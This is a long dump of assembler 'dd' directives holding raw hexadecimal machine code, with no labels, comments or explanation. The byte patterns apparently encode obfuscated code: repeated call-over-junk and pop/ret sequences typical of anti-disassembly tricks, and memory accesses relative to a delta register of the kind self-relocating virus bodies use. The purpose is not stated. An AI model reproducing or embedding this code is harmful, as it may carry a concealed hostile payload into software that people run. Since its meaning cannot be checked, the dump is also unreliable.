		dd 5EFABF0Fh, 4846D5BEh, 4C46BF32h, 6A57E3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DE86C0C3h
		dd 0BE66959Ah, 88BEB392h, 665101C5h, 0BF66F78Bh, 8A0FB0A6h
		dd 13h,	5E616051h, 9840Fh, 0B5890000h, 64418E1h, 60F7BF0Fh
		dd 30BA96BAh, 51B50B16h, 6606440Ch, 0E961C88Bh,	0FFFFF893h
		dd 2FCDBD0Bh, 830F0644h, 10h, 0BE9h, 0C66B8500h, 0B18197AFh
		dd 6B4E41E5h, 4DF78166h, 820F5089h, 6, 1DA58D89h, 8B5F0644h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 7E7E4CDFh, 0EBF18BB8h, 4, 0E9B58B00h, 1064423h
		dd 4402C98Dh, 0E1858D06h, 0F06441Bh, 0E850FABFh, 12h, 35B7EF97h
		dd 0F05B2953h, 441EDF32h, 9F34A7E2h, 0FE8C44Bh,	21000000h
		dd 0D15E9D00h, 57B10B9h, 6D8F10EDh
		dd 5F5FDB11h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 3107C357h, 86355042h
		dd 0BD8BBE39h, 6441621h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 8A98C5C3h, 0E5C804A5h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 143DFC3h,	441C519Dh, 6B858D06h, 6A06481Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 832EC351h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BA977C3h, 0AE890F1h
		dd 0F1000000h, 75D933Ah, 0C34DF577h, 0BF505EECh, 20C396C4h
		dd 41958990h, 6A064431h, 6AF98B00h, 95FFF800h, 6441825h
		dd 5E9h, 82EC4500h, 9D8D94E4h, 6479A97h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0DEC35545h, 0BD8BD3FFh
		dd 6441081h, 8E985FFh, 6A0644h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 8F12ECC3h, 9D89605Fh
		dd 6442339h, 5E9h, 0EDF4F300h, 8B6162C9h, 442C15B5h, 863E906h
		dd 0E80000h, 5D000000h,	1C75ED81h, 6A0648h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FE6109C3h
		dd 810FBA0Fh, 1Ch, 10E8h, 74792500h, 5CD6C10h, 0B35FDB0Fh
		dd 0ECBB9ADCh, 35F78198h, 5F1CEF2Eh, 167DBD81h,	7D00644h
		dd 860F0000h, 124h, 13E9h, 150BED00h, 4B8F5ED3h, 591BC754h
		dd 0B1AF10CDh, 923D1BABh, 2C999D8Bh, 6A0644h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 1D86AC3h
		dd 0E38122h, 66000001h,	2E17EF81h, 850FDB0Bh, 8Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 59C35141h, 6612B43Bh
		dd 834834BFh, 481ACFBDh, 840F0006h, 49h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 36C35040h, 0C562ABF2h
		dd 0F9896B8h, 3FE9F8BFh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8297C350h
		dd 0CF85C7ADh, 106481Ah, 8B000000h, 440C9DB5h, 0CE906h
		dd 85C70000h, 6481ACFh,	0
		dd 9D8DF38Bh, 6442C99h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0EDC35646h, 82B2E55h,	95296E88h, 64402BDh
		dd 0FEFF2381h, 0B533FFFFh, 644250Dh, 8BDB8C66h,	4C3F6F7h
		dd 21840Fh, 0BD8B0000h,	6440E45h, 1C8195FFh, 0B5890644h
		dd 64407F9h, 0B28EBF50h, 4893E50h, 29958924h, 0E9064403h
		dd 4A1h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	5BC35343h, 0C6B89507h, 0A8A0Fh,	0B6600000h, 0CD9523DAh
		dd 6106440Ch, 0E78100B0h, 3564D277h, 6A70E6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 11496DC3h
		dd 0A7EE33BFh, 25BD31B0h, 8906441Eh, 4403EDB5h,	6A71E406h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0CECDC355h, 89F88B66h, 441A31BDh,	0D8B60F06h
		dd 989BD8Bh, 6BA0644h, 0BF000000h, 6336A0F6h, 0B58BC38Bh
		dd 6440885h, 6A04E8C1h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 534FC350h, 0BD09646Bh
		dd 644146Dh, 6AE2F766h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 9FE7C357h, 6E384FC4h
		dd 0BDB58BE8h, 2B06442Ch, 0CDB589D8h, 50064407h, 6A241C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0AE37C356h, 0E092C664h, 5E91D8Ah,	49000000h
		dd 50D327FEh, 167DB5FFh, 6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0D09620C3h, 8A96DA68h
		dd 8D892073h, 6441625h,	1C4D95FFh, 0B0F50644h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 9A56C3EFh, 61F98B60h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0E45181C3h, 57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E5FA750Dh, 0F36104DCh, 0F613C17h, 2C083h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 5189A2EFh, 8942BC80h, 441AB995h, 0D8B60F06h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C2C35343h, 0F5600CFAh
		dd 0DE750940h, 12E84Fh,	0B7F40000h, 0E36291A0h,	7E2DCD24h
		dd 819FCA6Dh, 0C7E413E9h, 16B99589h, 895F0644h,	441F9D95h
		dd 6BA06h, 0B70F0000h, 9D8589F9h, 8B06441Ah, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B98BBA03h, 0DC3E627Ah, 0C95BD01h, 0E8C10644h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1625165Dh, 569831BDh, 0F8C68151h, 66493BCFh,	0D82BE2F7h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0C781B014h, 1FCF9EF9h, 880FD82Bh, 1B5h
		dd 61606060h, 315BD8Bh,	89610644h, 4416C9BDh, 0FE96106h
		dd 0D4000000h, 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 7B9CC2Eh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 561CC351h, 31F4D7CDh, 0DE7FB5B1h
		dd 12E8h, 0CA414900h, 0EA5BDB5Bh, 6B026BE1h, 0D5DAF1B5h
		dd 0E9FCD986h, 0Fh, 73E43F8Ah, 0C509705Ah, 2056195Dh, 5EC361B4h
		dd 0F00C183h, 1D83h, 9E800h, 60050000h,	0FE6E1634h, 0E8730EFEh
		dd 8, 0F72D1C8Eh, 0C50D9EC8h, 0D93B5F5Fh, 10B860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 42BDAC3h, 0F5B82A86h, 66D8F588h, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0F70ADBC3h
		dd 8EA803CFh, 8D297EABh, 6441EF1h, 0F04C1F6h, 9184h, 8195FF00h
		dd 6A06441Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E589C357h, 89991FE9h,	4421318Dh
		dd 0CE95B06h, 59000000h, 74EEAE61h, 5416AAEFh, 2BDA7CE0h
		dd 0FFBF0FC3h, 8343Dh, 43860F00h, 0E9000000h, 6, 2CA4533Ah
		dd 8A0F1199h, 4, 0DBADBF66h, 48E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 3D7627Dh, 9F2F870h
		dd 442E758Dh, 0C08BF806h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 79C35545h, 8BC38B02h,	53006AD8h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 659D29E3h, 0F9064404h, 2B7985C7h, 7F90644h, 0C08B7017h
		dd 2FDDBD0Bh, 0BD810644h, 644167Dh, 7D0h, 52850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 20841BC3h, 0CD578A92h, 2111BD89h, 0BE660644h, 85FF7F1Eh
		dd 644167Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	3BC35242h, 0F38BCFE3h, 167DB5FFh, 6A0644h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 25C561C3h, 0C97144C3h, 870FA7FEh, 6,	25D19529h, 95FF0644h
		dd 6441C4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	77C35141h, 11740817h, 90B3323Ch, 23D5BD8Bh, 52FC0644h
		dd 1575BD8Bh, 0FE80644h, 71000000h, 9C64EC27h, 0D98DD332h
		dd 1706C969h, 0BD8BAF91h, 6442C01h, 0B5035F5Fh,	6442105h
		dd 1755B58Bh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E26B01C3h, 6665DC54h, 0BF66F88Bh
		dd 10E91C44h, 34000000h, 0BD0A79A3h, 5A3C799Dh,	0AE7FC503h
		dd 11C07DCh, 440FA58Dh,	6AF8FC06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 712DC356h
		dd 0F58D8970h, 8906442Eh, 44221185h, 5E906h, 0EA290000h
		dd 0F264CA7h, 385h, 0F88B6600h,	31418589h, 0E8FC0644h
		dd 11h,	0D549C922h, 38C01C33h, 0F0091599h, 448FF1F0h, 659D898Dh
		dd 8B06440Ch, 441C41B5h, 6AFC5E06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D46C356h
		dd 0D4B99D7Dh, 0E9D0E77Fh, 0FFFFF7A2h, 623A8ABFh, 9D0B6067h
		dd 6442E41h, 0FFFFFEB9h, 818D21FFh, 6A064417h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 80CBC352h, 0D9BF0F76h, 1055B58Bh, 8D210644h,	6441FC5h
		dd 0E48DB81h, 8D8B6319h, 6441781h, 3370DE81h, 0E1830541h
		dd 25850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 79F3C353h, 95894B3Ah
		dd 6441959h, 1FC58D8Bh,	6A0644h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 6C4B8C3h, 0D8B70FA4h
		dd 0F01E183h, 685h, 79BD8B00h, 61064403h, 55006A60h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0A9862546h, 0B9FB8101h, 0FFFFFFFEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9AC35545h, 921CC58Eh
		dd 0E89E25CEh, 7, 9884D35Bh, 66B4D133h,	0F5ED08Bh, 38Dh
		dd 0C6BF0F00h, 1F258D21h, 6A0644h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 1DA462C3h, 0A188E149h
		dd 1EBEB1B0h, 2111C47Bh, 4428C18Dh, 5FFC5606h, 1F258D8Bh
		dd 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 836C5C3h,	0FE9h, 279F8000h, 8BF6C07Ah, 188A0DD5h
		dd 46FC4B57h, 0D8BEDB81h, 0E183276Ch, 1850F01h,	0F9000000h
		dd 28C18D8Bh, 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0F8EF52C3h, 0B042515Bh, 0DE895A8h
		dd 0CC000000h, 0D50490F3h, 7EECC100h, 0D822D51Eh, 5AFE8B66h
		dd 0D495B866h, 0F01E183h, 685h,	24BF6600h, 61F28B16h, 50006A60h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 7C1A2C4Fh, 0F59750D4h, 0FFFFFEB9h, 0C28B66FFh, 33D18D21h
		dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 4F4913C3h, 4E307AF7h, 858B8E24h, 64420ADh
		dd 0DF58D21h, 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0E9B2D4C3h, 0BF0F772Eh, 8D8BF9F7h
		dd 64433D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	4AC35242h, 5E82E58h, 4A000000h,	0CDAB1356h, 1E1835Ah
		dd 39850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 60B255C3h, 75BD8BDBh, 0E806442Ah
		dd 8, 0B0084388h, 66EA4E5Eh, 3075BD8Bh,	8B5B0644h, 440DF58Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 10E842B9h, 0CC000000h, 0E20E3F14h, 9D1F4D19h
		dd 56116E93h, 8BF01068h, 440E39B5h, 0E1835806h,	22850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0EED6C352h, 3AAF936Ch,	6A6061A1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 4D3AC356h, 0CE7C5442h, 8D29A4EFh,	6441511h
		dd 0FFFFFEB9h, 21F08BFFh, 442B798Dh, 39BD8B06h,	21064423h
		dd 442C998Dh, 0C7BF0F06h, 2B798D8Bh, 8B660644h,	1E183FEh
		dd 2A850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 224D9AC3h, 0E6F37AE0h, 0B523D3B2h
		dd 6443181h, 2C998D8Bh,	0BF660644h, 852B260Ah, 6442BD9h
		dd 0F01E183h, 685h, 0C1BD8B00h,	6106441Ch, 57006A60h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 6A048FB1h, 0A3159B65h, 16459D89h, 85C70644h,	644167Dh
		dd 7D0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	5DC35545h, 61D093DFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 12C35141h, 9BC7D401h, 0EBD6BF0Fh
		dd 0E99D6107h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AFC35747h
		dd 6BC61FB0h, 60825749h, 3A59589h, 9D2B0644h, 6442E15h
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0B7C281A6h, 8B1ACB70h, 295160C1h, 441D79B5h
		dd 0E8605F06h, 7, 3EAEDE7h, 8B3BB5D5h, 4417BD8Dh, 8F0F5906h
		dd 0Ch,	7E9h, 0DC20EE00h, 1CF71171h, 6AC08B61h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 2225C352h, 834B1908h, 4420CDBDh, 9750006h, 0B25BD83h
		dd 74000644h, 8B535019h, 438B8C0h, 85890000h, 64402F5h
		dd 0A84F9D8Dh, 0D3FF0646h, 0BD83585Bh, 6440B25h, 50177400h
		dd 438B853h, 85890000h,	64402F5h, 0A53E9D8Dh, 0D3FF0646h
		dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0B07F47C3h, 19E744Fh, 0B70F8CA8h,	50006AFBh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 13BFB15Bh, 0E8C08B62h, 6, 0DC388D00h, 0EE99669h, 75000000h
		dd 6E20D09Eh, 5C206EA0h, 7D87E547h, 82E8595Fh, 6A000008h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0FF3C353h, 8BE8959h, 8B5B1AA5h, 5890Fh, 81660000h
		dd 5273EECEh, 0EE9h, 0EE65CF00h, 5F469801h, 446C39F4h
		dd 5FDD7B08h, 1C9D8589h, 6A0644h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 5109C3h, 99186C6Dh, 0BD2B0535h
		dd 6442A69h, 0F5D8D31h,	0B5090644h, 6440D01h, 7FCE8h, 498D8900h
		dd 89064428h, 441EB985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0A05237EDh, 55BD09A2h
		dd 0E806440Ah, 7C5h, 8D8589F8h,	66064421h, 0A65DC681h
		dd 7B4E8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1704h, 0C3504000h, 0F6D38DFDh, 15719501h, 85890644h
		dd 6440C0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0D6C35545h, 0F1B06103h,	60C92F4Fh, 0D45ABF66h
		dd 0CE9h, 0D9A35400h, 0D857EFB7h, 0FD047864h, 4AE86140h
		dd 0E9000007h, 7, 0F6717BDCh, 89D84ACAh, 4408DD85h, 498D8B06h
		dd 0E8064428h, 72Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0B4C35747h, 5585890Ch, 0B506440Dh, 703E8E6h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 50F1DFC3h, 7185895Fh, 6A064431h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 6A57C357h, 9E47AF76h, 6870Fh, 0B58B0000h, 6442029h
		dd 21318D89h, 0A6E80644h, 6A000006h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 15ECC357h
		dd 0CD5A4E8Eh, 0C88B6693h, 30F58589h, 0AAB50644h, 674E8h
		dd 6820F00h, 89000000h,	44295585h, 6D858906h, 6A064419h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 683CC350h, 7D9AB686h, 712407F4h, 0FB5B58Bh
		dd 32E80644h, 6A000006h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FA9C350h, 0BE9CEB7h
		dd 72000000h, 65EE01ECh, 3591FD87h, 85891B8Dh, 6441649h
		dd 0A95B58Bh, 0F2E80644h, 8B000005h, 440A55B5h,	49858906h
		dd 6A06440Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 6150C350h, 0D4CC4B07h,	659D01E0h
		dd 0E8064414h, 5B9h, 3C19D89h, 85890644h, 6440D41h, 0FF88B66h
		dd 0A2E8F6B7h, 6A000005h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 3A43C350h, 2E21409Dh
		dd 0EE97Fh, 17580000h, 13445563h, 8247F391h, 1BB3AC7Dh
		dd 718589h, 6A0644h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0ADE8D0C3h, 0F2CEA99Dh, 8D8B8713h
		dd 6442C2Dh, 538E8h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 45FD5349h, 0CB8B62C7h
		dd 10998589h, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8BB3C3h, 6442C15h, 4E8E8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0BE6F1F0Fh, 85895696h, 6441F39h, 187DB589h, 0B6E80644h
		dd 53000004h, 2A999D29h, 895F0644h, 44318D85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0B6A87B15h, 9813DD84h, 0D981E798h, 143D9E69h, 18DDB58Bh
		dd 66600644h, 8157E381h, 0EE9h,	2D8A9000h, 993A3745h, 346AED67h
		dd 61B4AC10h, 816600B0h, 0F8408E6h, 6AD8B6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1B8BECC3h
		dd 536650DDh, 860F8FD0h, 18h, 12E8h, 0EDDF9700h, 68E5CE52h
		dd 0E451A599h, 37F7625Dh, 594DC37Ch, 6BAF88Bh, 8B000000h
		dd 44292D8Dh, 89C38B06h, 4404658Dh, 4E8C106h, 0ED7ABE60h
		dd 666147EAh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0FA0D45C3h, 0DAB9514Dh, 5F67D697h
		dd 19FDBD09h, 0D82B0644h, 118D0Fh, 0CE90000h, 6A000000h
		dd 93998E26h, 995C92AAh, 0FF2B8E1h, 684h, 51BD3100h, 5006441Ch
		dd 5860F60h, 0BF000000h, 58497482h, 6E9h, 0E85B8100h, 6167EB8Eh
		dd 81241C89h, 0D591EFE6h, 8195FF1Ah, 0F06441Ch,	68Fh, 0D5BD2B00h
		dd 5B064410h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	0FFC35545h, 8B66B852h, 65958DF7h, 6A06441Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0C479C351h, 0CD804971h, 6A1A8998h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3437C357h
		dd 4289EAEFh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0A58D01B3h, 8D064422h, 44076D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0C3CD0A29h, 0CFBF0F6Ch, 6A1A89h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0EA812EC3h, 0CEA08E4Fh, 68A0F8Bh, 89000000h,	44286585h
		dd 9D2B6006h, 64408F9h,	61D4E980h, 6A044289h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 97F9C356h, 1DC2565Bh, 9E9h, 0F86C4D00h, 7806102Eh, 0AE9BF46h
		dd 0F7000000h, 7D3B9050h, 0F881ACEBh, 85958D6Dh, 6A06440Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 5D7CC356h, 5720EFCAh, 0EE9h, 491B9700h, 59367427h
		dd 95A8252h, 891F29EFh,	8DD801Ah, 81044289h, 7C68C1C7h
		dd 0B9958D34h, 6A06441Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0DBE3C357h, 0D519D09h, 0BD890644h, 64433CDh,	6A1A89h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0BB0D6CC3h, 3880F60h, 80000000h, 8529AFD0h, 6441685h
		dd 4428961h, 3699589h, 0B5290644h, 6440CCDh, 8A9958Dh
		dd 14E90644h, 5E000000h, 0A6761313h, 9DCEDA30h,	2F8C8D0Ch
		dd 0FF5C78CCh, 89E99E4Ch, 0D50FBF1Ah, 42890B7Bh, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0C5EF8132h, 80523ED8h, 958D54DDh, 644208Dh, 6A1A89F9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 63F4C352h, 0F6ED3B20h, 0BA1F745Eh, 44289F5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0C6C35242h
		dd 0F28B793Ch, 197D958Dh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0D78291C3h, 5EFB8B56h
		dd 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 880F0DC3h, 6, 329D8D2Bh, 42890644h, 7DB58B04h
		dd 8D064414h, 44148D95h, 0E9958906h, 5206442Ch,	23E5B509h
		dd 89590644h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 79D8721Ah, 0EACB4E61h, 9E971h, 2FFB0000h
		dd 0AE71E3C5h, 8988687Eh, 0FE90442h, 0CF000000h, 0F14EA70Ch
		dd 4FCCB41Dh, 0D084CBD0h, 0BEE928D6h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0F742C353h, 8B006A17h, 442E95B5h, 6A006A06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 675CC353h, 3EA26276h, 6AF88B1Ch, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 3B590111h
		dd 68B0Fh, 0BD8B0000h, 6442459h, 0B589006Ah, 6442F9Dh
		dd 1F8D95FFh, 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 346AEDC3h, 1DB4AC10h, 0E90F9619h
		dd 6, 4AD1F1BAh, 8BC38B3Dh, 441511B5h, 6AC58A06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0AE59C350h, 66BE6ED6h, 9F62C181h, 6AC08Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0E20997C3h
		dd 6E93Ah, 8F630000h, 0AB873386h, 20CDBD83h, 75000644h
		dd 25BD8309h, 6440Bh, 53501974h, 38B8C08Bh, 89000004h
		dd 44222985h, 0B69D8D06h, 0FF0646A8h, 83585BD3h, 440B25BDh
		dd 17740006h, 38B85350h, 89000004h, 44222985h, 579D8D06h
		dd 0FF0646A5h, 6A585BD3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 868EC350h, 6E154C0Ch
		dd 0C830Fh, 830F0000h, 6, 25AD8D8Bh, 6A0644h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 934614C3h
		dd 0AEFD4A9h, 8DC08BD3h, 441BE185h, 0B5EF8106h,	6645D984h
		dd 904505BFh, 77BF6652h, 50505B67h, 0F616052h, 5B575631h
		dd 90585A5Fh, 6B5D0BBBh, 6A006A77h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AB77C350h
		dd 6F3D8671h, 0DC7EBA2Ch, 4F2CB81h, 7E95F6Bh, 96000000h
		dd 4FD11C72h, 6AB28Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0CC35141h, 29368411h,	0E934D500h, 0Eh
		dd 1A3EF8DCh, 3244946h,	0A3CDEAAFh, 858DB5E0h, 64836F7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 82C35040h
		dd 6A18D09h, 0C0830644h, 90D98B05h, 12E85050h, 5D000000h
		dd 503D2121h, 0F621B806h, 0ADD3D23Ah, 0D1F6D666h, 905B5B81h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A5C35343h
		dd 0ABFA7B0Fh, 8924FAAAh, 4407359Dh, 6A006A06h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0BA17C351h, 2C1F16B7h, 8A0FA18Ah, 6,	2C5BD8Bh, 0C3810644h
		dd 0EB293F7h, 0E960006Ah, 9, 8172AD47h,	0D1122646h, 61CA8A65h
		dd 182595FFh, 0CB810644h, 78AF8AEBh, 9A978D8Dh,	6A0647h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 7291D0C3h, 8BCE905Dh, 4426099Dh, 6AD1FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0CC18C353h, 678A4273h, 0F5E6BC84h, 12E8h, 5899C500h
		dd 44556317h, 47F39113h, 0B3AC7D82h, 898BA51Bh,	44294D8Dh
